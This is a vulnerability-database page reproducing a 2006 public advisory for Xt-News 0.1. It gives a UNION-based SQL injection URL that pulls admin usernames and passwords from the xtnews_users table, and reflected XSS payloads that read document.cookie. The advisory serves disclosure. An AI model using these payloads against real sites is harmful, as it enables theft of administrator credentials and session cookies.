Lucene search

xtnew01-sqlxss.txt

🗓️ 27 Dec 2006 00:00:00Reported by Mr_KaLiMaNType

packetstorm🔗 packetstormsecurity.com👁 18 Views

SQL Injection and XSS vulnerabilities found in Xt-News 0.1, reported in December 2006.

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`Xt-News 0.1  
-----------  
Vendor site: http://dreaxteam.free.fr/forums/  
Product: Xt-News 0.1  
Vulnerability: SQL Injection Vulnerability & XSS  
Credits: Mr_KaLiMaN  
Reported to Vendor: 10/12/06  
Public disclosure: 22/12/06  
  
Description:  
------------  
SQL Injection Vulnerability:  
http://[victim]/[script_news_path]/show_news.php?id_news=[SQL INJECTION]  
http://[victim]/[script_news_path]/show_news.php?id_news=-1 UNION SELECT id,user,null,null,mdp,null,null,null,null,null,null FROM xtnews_users WHERE admin=1#  
  
  
XSS:  
http://[victim]/[script_news_path]/add_comment.php?id_news=[XSS]  
http://[victim]/[script_news_path]/add_comment.php?id_news="><script>alert(document.cookie)</script><foo "  
http://[victim]/[script_news_path]/show_news.php?id_news=[XSS]  
http://[victim]/[script_news_path]/show_news.php?id_news='><script>alert(document.cookie)</script><foo '  
  
  
-------------------  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

27 Dec 2006 00:00Current

7.4High risk

Vulners AI Score7.4